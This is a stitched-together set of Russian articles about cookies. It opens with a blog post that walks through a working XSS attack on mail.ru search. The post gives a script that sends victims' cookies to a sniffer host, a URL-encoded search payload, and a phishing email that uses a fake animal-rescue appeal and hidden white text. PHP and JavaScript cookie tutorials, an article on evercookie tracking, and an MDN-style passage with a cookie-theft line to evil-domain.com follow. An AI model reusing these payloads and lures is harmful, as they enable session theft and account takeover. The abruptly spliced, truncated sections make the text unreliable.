Не так давно прочитал на Хабре пост , в котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS . После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.
В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…
На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.
Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.
На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.
Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:
Img=new Image();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
function F() {
location="http://www.solife.ru";
}
setTimeout(F, 5000);
Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:
Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:
Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.
E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E
Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».
Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.
Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.
Проверяю свой файл sniff.txt:
Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.
Хотелось бы поблагодарить Сергея Белова (
Cookies - это механизм хранения данных броузером удаленного компьютера для идентификации возвращающихся посетителей и хранения параметров веб-страниц (например, переменных).
Приведем пример использования Cookies на конкретном примере.
Предположим, нам нужно написать счетчик посещения сайта. Нам нужно знать, какое число посещений сайта осуществлялось каждым конкретным посетителем.
Данную задачу можно решить двумя способами. Первый из них заключается в ведении учета IP-адресов пользователей. Для этого нужна база данных всего из одной таблицы, примерная структура которой такая:
Когда пользователь заходит на сайт, нам нужно определить его IP-адрес, найти в базе данных информацию о его посещениях, увеличить счетчик и вывести его в браузер посетителя. Написать обработчик (скрипт) подобной процедуры несложно. Однако при использовании такого метода у нас появляются проблемы следующего характера:
- Для каждого IP-адреса нужно вести учет в одной таблице, которая может быть очень большой. А из этого следует, что мы нерационально используем процессорное время и дисковое пространство;
- У большинства домашних пользователей IP-адреса являются динамическими. То есть, сегодня у него адрес 212.218.78.124, а завтра - 212.218.78.137. Таким образом, велика вероятность идентифицировать одного пользователя несколько раз.
Можно использовать второй способ, который намного легче в реализации и более эффективен. Мы устанавливаем в Cookie переменную, которая будет храниться на диске удаленного пользователя. Эта переменная и будет хранить информацию о посещениях. Она будет считываться скриптом при обращении посетителя к серверу. Выгода такого метода идентификации очевидна. Во-первых, нам не нужно хранить множество ненужной информации о IP-адресах. Во-вторых, нас не интересуют динамические IP-адреса, поскольку данные о своих посещениях хранятся конкретно у каждого посетителя сайта.
Теперь понятно, для чего мы можем использовать Cookie - для хранения небольшой по объему информации у клиента (посетителя) сайта, например: настройки сайта (цвет фона страниц, язык, оформление таблиц и.т.д.), а также другой информации.
Файлы Cookies представляют собой обыкновенные текстовые файлы, которые хранятся на диске у посетителей сайтов. Файлы Cookies и содержат ту информацию, которая была в них записана сервером.
Программирование Cookies
Приступим к программированию Cookies.
Для установки Cookies используется функция SetCookie() . Для этой функции можно указать шесть параметров, один из которых является обязательным:
- name - задает имя (строк), закрепленное за Cookie;
- value - определяет значение переменной (строка);
- expire - время "жизни" переменной (целое число). Если данный параметр не указать, то Cookie будут "жить" до конца сессии, то есть до закрытия браузера. Если время указано, то, когда оно наступит, Cookie самоуничтожится.
- path - путь к Cookie (строка);
- domain - домен (строка). В качестве значения устанавливается имя хоста, с которого Cookie был установлен;
- secure - передача Cookie через защищенное HTTPS-соединение.
Обычно используются только три первые параметра.
Пример установки Cookies:
При использовании Cookies необходимо иметь в виду, что Cookies должны устанавливаться до первого вывода информации в браузер (например, оперетором echo или выводом какой-либо функции). Поэтому желательно устанавливать Cookies в самом начале скрипта. Cookies устанавливаются с помощью определенного заголовка сервера, а если скрипт выводит что-либо, то это означает, что начинается тело документа. В результате Cookies не будут установлены и может быть выведено предупреждение. Для проверки успешности установки Cookies можно использовать такой метод:
Функция SetCookie() возвращает TRUE в случае успешной установки Cookie. В случае, если Cookie установить не удается SetCookie() возвратит FALSE и возможно, предупреждение (зависит от настроек PHP). Пример неудачной установки Cookie:
Cookie установить не удалось, поскольку перед посылкой заголовка Cookie мы вывели в браузер строку "Hello".
Чтение значений Cookies
Получить доступ к Cookies и их значениям достаточно просто. Они хранятся в суперглобальных массивах и $_COOKIE и $HTTP_COOKIE_VARS .
Доступ к значениям осуществляется по имени установленных Cookies, например:
echo $_COOKIE["my_cookie"];
// Выводит значения установленной Cookie "My_Cookie"
Пример установки Cookie и последующего его чтения:
В рассмотренном примере при первом обращении к скрипту устанавливается Cookie "test" зо значением "hello". При повторном обращении к скрипту будет выведено значение Cookie "test", то есть строка "Hello".
При чтении значений Cookies обращайте внимание на проверку существования Cookies, например, используя оператор isset() . Либо путем подавления вывода ошибок опереатором @
А вот пример, как построить счетчик числа загрузок страницы с помощью Cookies:
Удаление Cookies
Иногда возникает необходимость удаления Cookies. Сделать это несложно, необходимо лишь вновь установить Cookie с идентичным именем и пустым параметром. Например:
Установка массива Cookies и его чтение
Мы может установить массив Cookies, используя квадратные скобки в именах Cookies , а затем прочитать массив Cookies и значения этого массива:
Преимущества использования Cookies неоспоримы. Однако существуют и некоторые проблемы их использования. Первая из них заключается в том, что посетитель может блокировать прием Cookies браузером или попросту удалить все Cookies или их часть. Таким образом, мы можем иметь некоторые проблемы в идентификации таких посетителей.
| > |
| Есть еще вопросы или что-то непонятно - добро пожаловать на наш | |
|
|
Cookies - верная технология, позволяющая веб-сайту "запомнить" пользователя,
сохранить его настройки и не спрашивать каждый раз его логин и пароль. Можно
подумать, что если удалить кукисы в браузере, то сайт тебя не узнает. Но эта
уверенность обманчива.
Можно сколько угодно заморачиваться о своей анонимности, использовать прокси
и VPN, подделывать заголовки HTTP-запросов, выдающие используемую систему,
версию браузера, часовой пояс и море другой инфы, но у веб-сайта все равно
останутся способы распознать факт того, что ты на нем уже бывал. Во многих
случаях это не особо критично, но только не в ситуации, когда на каком-то
сервисе необходимо представиться другим пользователем или банально сохранить
анонимность. Легко представить, как среагирует антифрод-система некой условной
финансовой организации, если определит, что с одного компьютера были выполнены
авторизации под аккаунтами совершенно разных людей. Да и разве приятно
осознавать, что кто-то в Сети может отслеживать твои перемещения? Едва ли. Но
обо всем по порядку.
Чтобы идентифицировать пользователя, испокон веков использовались кукисы.
Cookies (от англ. "печенье") - это небольшая порция текстовой информации,
которую сервер передает браузеру. Когда пользователь обращается к серверу
(набирает его адрес в строке браузера), сервер может считывать информацию,
содержащуюся в cookies, и на основании ее анализа совершать какие-либо действия.
Например, в случае авторизованного доступа к чему-либо через веб в cookies
сохраняются логин и пароль в течение сессии, что позволяет пользователю не
вводить их снова при запросах каждого документа, защищенного паролем. Таким
образом, веб-сайт может "запомнить" пользователя. Технически это выглядит
следующим образом. Запрашивая страницу, браузер отправляет веб-серверу короткий
текст с HTTP-запросом.
Например, для доступа к странице www.example.org/index.html браузер
отправляет на сервер www.example.org следующий запрос:
GET /index.html HTTP/1.1
Host: www.example.org
Сервер отвечает, отправляя запрашиваемую страницу вместе с текстом,
содержащим HTTP-ответ. Там может содержаться указание браузеру сохранить куки:
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Если есть строка Set-cookie, браузер запоминает строку name=value (имя =
значение) и отправляет ее обратно серверу с каждым последующим запросом:
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value
Accept: */*
Все очень просто. Если сервер получил от клиента куки и они есть у него в
базе, он однозначно может их обработать. Таким образом, если это были кукисы с
некоторой информацией об авторизации, у пользователя в момент посещения не будет
спрашиваться логин и пароль. По стандарту куки имеют определенный срок жизни
(хоть он и может быть очень большим), после которого умирают. А любые
сохраненные кукисы пользователь без труда может удалить, воспользовавшись
соответствующей опцией, которая есть в любом браузере. Этот факт сильно
расстраивает владельцев многих ресурсов, которые не желают терять связь с
посетителем. Им важно отслеживать его, понимать, что "вот этот человек был у нас
вчера, а еще позавчера и т.д.". Особенно это касается различных анализаторов
трафика, систем для ведения статистики, баннерных сетей и т.п. Вот тут-то и
начинается самое интересное, потому что разработчики используют всякие
ухищрения, о которых многие пользователи даже не подозревают. В ход идут
различные уловки.
Все дело в том, что помимо обычных HTTP "плюшек", к которым все давно
привыкли, сейчас активно используются альтернативные хранилища, где браузер
может записать данные на стороне клиента. Первое, что нужно упомянуть - это
хранилище любимого и ненавистного одновременно Flash (для тех пользователей, у
которых он установлен). Данные хранятся в так называемых LSO (Local Shared
Objects) - схожих с cookies по формату файлах, которые сохраняются локально на
компьютере пользователя. Подход во многом аналогичен обычным "плюшкам" (в этом
случае на компьютере пользователя точно так же сохраняется небольшое количество
текстовых данных), но имеет некоторые преимущества:
- Flash-кукисы являются общими для всех браузеров на компьютере (в отличие
от классической cookie, которая привязана к браузеру). Настройки, информация
о сессии, как и, скажем, некий идентификатор для отслеживания пользователя,
не привязываются к какому-то конкретному браузеру, а становятся общими для
всех. - Flash cookie позволяет сохранять намного больший объем данных (как
правило, 100 Кб), что увеличивает количество настроек пользователя,
доступных для сохранения.
На практике LSO становится очень простой и доступной технологией для трекинга
пользователя. Задумайся: если бы я предлагал тебе удалить все "плюшки" в
системе, ты бы вспомнил о Flash-кукисах? Вероятно, нет. А теперь попробуй взять
любой просмотрщик, например, бесплатный
FlashCookiesView и посмотреть, сколько всего интересного записано в
хранилищах Flash. Тут же вырисовывается и список сайтов, которые очень не хотят
потерять твой след, даже если ты подчистишь кэш браузера (вместе с "плюшками").
Но если об LSO слышали продвинутые пользователи и мало-мальски хорошие
разработчики, то о существовании других техник хранения данных, подчас очень
изощренных (но действенных), многие даже не подозревают. Взять хотя бы новые
хранилища, которые появлялись в
(Session Storage,
Local Storage, Global Storage, Database Storage via SQLite), о которых ты можешь
прочитать в статье " ". Этой проблемой всерьез заморочился польский специалист
по безопасности Samy Kamkar. В результате на свет появилась специальная
JavaScript-библиотека evercookie, которая специально создана для того, чтобы
создавать максимально живучие кукисы в браузере. Кто-то может спросить: "Зачем
это нужно?". Очень просто: для того, чтобы однозначно идентифицировать
посетителя страницы, если он придет вновь. Такие сложно убиваемые кукисы часто
называются Tracking cookies и даже определяются некоторыми антивирусами как
угроза приватности. Evercookie может свести все попытки остаться анонимным к
нулю.
Секрет в том, что evercookie использует сразу все доступные для браузера
хранилища: обычные HTTP-кукисы, LSO, контейнеры HTML5. Кроме того, в ход идет
несколько хитрых приемов, которые с не меньшим успехом позволяют оставить на
компьютере желанную метку. Среди них: генерация особых PNG-изображений,
использование history браузера, хранение данных с помощью тега ETag, контейнер
userData в Internet Explorer - оказывается, что вариантов-то очень много.
В том, насколько это эффективно работает, можно убедиться на сайте
разработчика -
http://samy.pl/evercookie . Если нажать на кнопку "Click to create an
evercookie", в браузере будут созданы кукисы со случайным числом. Попробуй
удалить кукисы везде, где это только возможно. Бьюсь об заклад, сейчас ты
задумался: "Где еще можно удалить кукисы, кроме как в настройках браузера?".
Уверен, что все удалил? Перезагрузи страницу для верности, можешь даже заново
открыть браузер. Вот теперь смело нажимай на кнопку "Click to rediscover cookies".
WTF? Сайту это не помешало откуда-то взять данные - в полях страницы
отобразилось число, которые было сохранено в кукисах. Но мы же их потерли? Как
это получилось? Попробуем разобраться с некоторыми техниками.
Крайне интересным приемом, используемым в Evercookie, является подход
хранения данных в кэшированных PNG-изображениях. Когда evercookie устанавливает
куки, он обращается к скрипту evercookie_png.php со специальной HTTP "плюшкой",
отличной от той, которая используется для хранения стандартной информации о
сессии. Эти специальные кукисы считываются PHP-сценарием, создающим
PNG-изображение, в котором все значения RGB (цветов) выставляются в соответствии
с информацией о сессии. В конечном итоге PNG-файл отправляется браузеру клиента
с пометкой: "файл необходимо кэшировать 20 лет".
Получив эти данные, evercookie удаляет созданные ранее специальные
HTTP-кукисы, затем выполняет тот же самый запрос к тому же PHP-сценарию, но не
предоставляя информации о пользователе. Тот видит, что интересующих его данных
нет, и сгенерировать PNG он не может. Вместо этого браузеру возвращается
поддельный HTTP-ответ "304 Not Modified", что заставляет его вытащить файл из
локального кэша. Изображение из кэша вставляется на страницу с помощью тега
HTML5 Canvas. Как только это происходит, evercookie считывает каждый пиксель
содержимого Canvas, извлекая RGB-значения и, таким образом, восстанавливая
данные изначальных кукисов, которые были сохранены в изображении. Вуаля, все
работает.
Другой прием напрямую использует историю браузера. Как только браузер
устанавливает плюшку, evercookie с помощью алгоритма Base64 кодирует данные,
которые необходимо сохранить. Предположим, что этими данными является строка,
полученная "bcde" после преобразований в Base64. Библиотека последовательно
обращается в фоновом режиме к следующим URL:
google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-
Таким образом, эти URL сохраняются в history. Далее в ход идет специальный
прием - CSS History Knocker, который с помощью JS-скрипта и CSS позволяет
проверить, посещал ли пользователь указанный ресурс или нет (подробнее тут -
samy.pl/csshack). Для
проверки плюшек evercookie пробегается по всем возможным символам Base64 на
google.com/evercookie/cache, начиная с символа "a" и двигаясь далее, но только
на один символ. Как только скрипт видит URL-адрес, к которому было обращение, он
начинает перебор следующего символа. Получается своеобразный брутфорс. На деле
этот подбор осуществляется чрезвычайно быстро, потому что никакие запросы к
серверу не выполняются. Поиск в history осуществляется локально в максимально
короткий срок. Библиотека знает, что достигла конца строки, когда URL будет
заканчиваться символом "-". Декодируем Base64 и получаем наши данные. Как
назвать разработчиков браузеров, которые это позволяют?
А что будет, если юзер потрет свои кукисы? Важная фишка самой библиотеки
evercookie в том, что пользователю придется основательно постараться, чтобы
удалить кукисы, оставленные в разных местах - сейчас их 10. Если хотя бы в одном
месте останутся данные куки, то они автоматически восстановятся и во всех других
местах. Например, если пользователь не только удалит свои стандартные кукисы, но
и очистит данные LSO, подчистит HTML5-хранилища, что уже маловероятно, все равно
останутся куки, созданные с помощью кэшированного PNG и web history. При
следующем же посещении сайта с evercookie библиотека не только сможет найти
запрятанную плюшку, но и восстановит их во всех остальных местах, которые
поддерживает браузер клиента. Интересный момент связан с передачей
"плюшек" между браузерами. Если пользователь получает кукисы в одном браузере,
то есть большая вероятность, что они воспроизведутся и в других. Единственное
необходимое для этого условие - сохранение данных в Local Shared Object куке.
Библиотека Evercookie полностью открытая, поэтому ты можешь свободно
пользоваться ей, подгонять под свои нужды. К серверу не предъявляется никаких
серьезных требований. Все что нужно - это доступ к JS-сценарию, в котором
содержится код evercookie. Чтобы использовать Flash-кукисы (Local Shared Object),
в папке со скриптом должен быть файл evercookie.swf, а для работы техник,
основанных на PNG-кэшировании и использовании хранилища ETag, необходим доступ к
PHP-сценариям evercookie_png.php и evercookie_etag.php. Использовать evercookie
можно на любой страничке сайта, подключив следующий скрипт:
var ec = new evercookie();
// устанавливаем cookie "id" со значением "12345"
// синтаксис: ec.set(key, value)
ec.set("id", "12345");
// восстанавливаем кукису с именем "id"
ec.get("id", function(value)
{
alert("Cookie value is " + value)
});
Есть также другой способ получения кукисов, основанный на использовании более
продвинутой callback-функции. Это позволяет извлечь значения кукисов из
различных используемых хранилищ и сравнить их между собой:
function getCookie(best_candidate, all_candidates)
{
alert("The retrieved cookie is: " + best_candidate + "\n" + "You
can see what each storage mechanism returned " + "by looping through the all
candidates object.");
For (var item in all_candidates) document.write("Storage
mechanism " + item + " returned: " + all_candidates + "
");
}
ec.get("id", getCookie);
Библиотека evercookie доступна каждому. Это немного пугает, особенно если
совершенно не представляешь, что можно против нее предпринять.
Проблем с тем, чтобы подчистить куки в браузере и Flash"е, нет. Но попробуй
удали данные везде, где наследила evercookie! Ведь если оставишь куки в одном
месте - скрипт автоматически восстановит значение и во всех остальных
хранилищах. По сути, эта библиотека является хорошей проверкой режима
приватности, который сейчас есть практически у всех браузеров. И вот что я тебе
скажу: из Google Chrome, Opera, Internet Explorer и Safari только последний в
режиме "Private Browsing" полностью блокировал все методы, используемые
evercookie. То есть после закрытия и открытия браузера скрипт не смог
восстановить оставленное им значение. Есть повод задуматься. Тем более что в
ближайшее время разработчик evercookie обещал добавить в библиотеку еще
несколько техник хранения данных, в том числе с помощью технологии Isolated
Storage в Silverlight, а также Java-апплета.
JavaScript дает возможность устанавливать и читать куки в браузере. В данном уроке мы рассмотрим как происходит работа с куками, а также сделаем простую страницу, которая будет помнить введеное имя и отображать его при каждом входе.
Что такое куки (cookie)?Куки - это небольшой объем данных, которые хранятся вэб браузером. Они позволяют Вам сохранять определенную информацию о пользователе и получать ее каждый раз, когда он посещает Вашу страницу. Каждый пользователь имеет свой собственный уникальный набор куков.
Обычно куки используются веб сервером для выполнения таких функций как отслеживание посещений сайта, регистрации на сайте и сохранения сведений о заказах или покупках. Однако нам не нужно придумывать программу для вэб сервера чтобы использовать куки. Мы можем использовать их с помощью JavaScript.
Свойство document.cookie .В JavaScript куки доступны с помощью свойства cookie объекта document. Создать куки можно следующим образом:
И получить весь сохраненый набор куков так:
Var x = document.cookie;
Давайте рассмотрим сохранение и получение куков более подробно.
Сохранение кукиДля сохранения куки нужно присвоить document.cookie текстовую строку, которая содержит свойства куки, которые мы хотим создать:
document.cookie = " name = значение; expires= дата; path= путь; domain= домен; secure";Свойства описаны в таблице:
| name = значение | Устанавливает имя куки и его значение. | username=Вася |
| expires= дата | Устанавливает дату истечения срока хранения куки. Дата должна быть представлена в формате, который возвращает метод toGMTString() объекта Date . Если значение expires не задано, куки будет удалено при закрытии браузера. | expires= 13/06/2003 00:00:00 |
| path= путь | Данная опция устанавливает путь на сайте, в рамках которого действует куки. Получить значение куки могут только документы из указанного пути. Обычно данное свойство оставляют пустым, что означает что только документ установивший куки может получит доступ к нему. | path=/demo/ |
| domain= домен | Данная опция устанавливает домен, в рамках которого действует куки. Получить значение куки могут только сайты из указанного домена. Обычно данное свойство оставляют пустым, что означает, что только домен установивший куки может получит доступ к нему. | domain=сайт |
| secure | Данная опция указывает браузеру, что для пересылки куки на сервер следует использовать SSL. Очень редко используется. | secure |
Давайте посмотрим пример установки куки:
document.cookie = "username=Вася; expires=15/02/2011 00:00:00";Данный код устанавливает куки username , и присваивает ему значение "Вася" , которое будет храниться до 15-го февраля 2011 года (используется Европейский формат времени!).
var cookie_date = new Date (2003, 01, 15); document.cookie = "username=Вася; expires=" + cookie_date.toGMTString();Данный код выполняет точно такое же действие, как и предыдущий пример, но для установки даты используется метод Date.toGMTString() . Учтите, что нумерация месяца в объекте Date начинается с 0, то есть февраль - это 01 .
Document.cookie = "logged_in=yes";
Данный код устанавливает куки logged_in , и присваивает ему значение "yes" . Так как атрибут expires не установлен, то куки удалится при закрытии браузера.
var cookie_date = new Date (); // Текущая дата и время cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; expires=" + cookie_date.toGMTString();Данный код устанавливает куки logged_in и присваивает строку хранения значение времени за одну секунду перед текущим - такая операция приведет к немедленному удалению куки. Ручной способ удалить куки!
Перекодирование значения куки!Следует перекодировать значение куки для корректного хранения и отображения таких символов как пробел и двоеточие. Такая операция гарантирует, что браузер корректно воспримет значение. Перекодирование лекго выполняется функцией JavaScript escape() . Например:
document.cookie = "username=" + escape("Вася Пупкин") + "; expires=15/02/2003 00:00:00"; Функция для установки кукиУстановка куки станет проще, если мы напишем специальную функцию, которая будет выполнять простые операции, такие как перекодирование значений и построение строки document.cookie . Например:
Function set_cookie (name, value, exp_y, exp_m, exp_d, path, domain, secure) { var cookie_string = name + "=" + escape (value); if (exp_y) { var expires = new Date (exp_y, exp_m, exp_d); cookie_string += "; expires=" + expires.toGMTString(); } if (path) cookie_string += "; path=" + escape (path); if (domain) cookie_string += "; domain=" + escape (domain); if (secure) cookie_string += "; secure"; document.cookie = cookie_string; }
Функция получает данные для куки в качестве аргументов, затем строит соответствующую строку и устанавливает куки.
Например, установка куки без срока хранения:
set_cookie ("username", "Вася Пупкин"); set_cookie ("username", "Вася Пупкин", 2011, 01, 15);Установка куки со сроком хранения, доменом сайт , использованием SSL, но без пути:
set_cookie ("username", "Вася Пупкин", 2003, 01, 15, "", "сайт", "secure"); Функция для удаления куки.Другая полезная функция для работы с куки представлена ниже. Функция "удаляет" куки из браузера посредством установки срока хранения на одну секунду раньше текущего значения времени.
function delete_cookie (cookie_name) { var cookie_date = new Date (); // Текущая дата и время cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString(); }Для использования данной функции нужно только передать ей имя удаляемого куки:
Delete_cookie ("username");
Получение значения кукиДля того, чтобы получить значение предварительно установленного куки для текущего документа, нужно использовать свойство document.cookie:
Var x = document.cookie;
Таким образом возвращается строка, которая состоит из списка пар имя/значение, разделенных точкой с запятой для всех куки, которые действуют для текущего документа. Например:
"username=Вася; password=abc123"В данном примере 2 куки, которые были предварительно установлены: username , который имеет значение "Вася" , и password , который имеет значение "abc123" .
Функция для получения значения кукиОбычно, нам нужно только значение одного куки за один раз. Поэтому строка куки не удобна для использования! Здесь приводится функция, которая обрабатывает строку document.cookies , возвращет только то куки, которое представляет интерес в конкретный момент:
Function get_cookie (cookie_name) { var results = document.cookie.match ("(^|;) ?" + cookie_name + "=([^;]*)(;|$)"); if (results) return (unescape (results)); else return null; }
Данная функция использует регулярное выражение для поиска имени куки, которое представляет интерес, а затем возвращает значение, которое обработано функцией unescape() для перекодирования к нормальному символьному виду. (Если куки не найдено, возвращается значение null.)
Данная функция проста в использовании. Например, для возврата значения куки username:
Var x = get_cookie ("username");
Простой пример использованияВ данном примере мы сделали страницу, которая запрашивает Ваше имя при первом посещении, затем она сохраняет Ваше имя в куки и показывает его при следующих посещениях.
Откройте страницу в новом окне. При первом посещении она попросит ввести имя и сохранит его в куки. Если Вы посетите страницу еще раз, она отобразит на экране введенное имя из куки.
Для куки задаем срок хранения в 1 год от текущей даты, это означает, что браузер сохранит Ваше имя даже если Вы закроете его.
Вы можете посмотреть код страницы в браузере, выбрав функцию просмотра исходного кода. Здесь приводится основная часть кода:
if (! get_cookie ("username")) { var username = prompt ("Пожалуйста, введите Ваше имя", ""); if (username) { var current_date = new Date; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth (); var cookie_day = current_date.getDate (); set_cookie ("username", username, cookie_year, cookie_month, cookie_day); } } else { var username = get_cookie ("username"); document.write ("Привет, " + username + ", добро пожаловать на страницу!"); document.write ("Forget about me!"); }
Данный урок показал Вам, как использовать куки в JavaScript для хранения информации о Ваших посетителях. Спасибо за внимание! :)
HTTP cookie (web cookie, cookie браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.
Cookie используются, главным образом, для:
⦁ Управления сеансом (логины, корзины для виртуальных покупок)
⦁ Персонализации (пользовательские предпочтения)
⦁ Мониторинга (отслеживания поведения пользователя)
До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB .
Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).
Создание cookieПолучив HTTP-запрос, вместе с откликом сервер может отправить заголовок Set-Cookie с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP Cookie с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту оно отсылается.
Заголовки Set-Cookie и Cookie (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..
Межсайтовая подделка запроса (CSRF - Cross-site request forgery)Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).
Не отслеживать (Do-Not-Track)Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок DNT , хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок DNT .
Директива Евросоюза о кукахПравила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.
Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.
Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.
Куки-зомби и "вечные" кукиБолее радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.
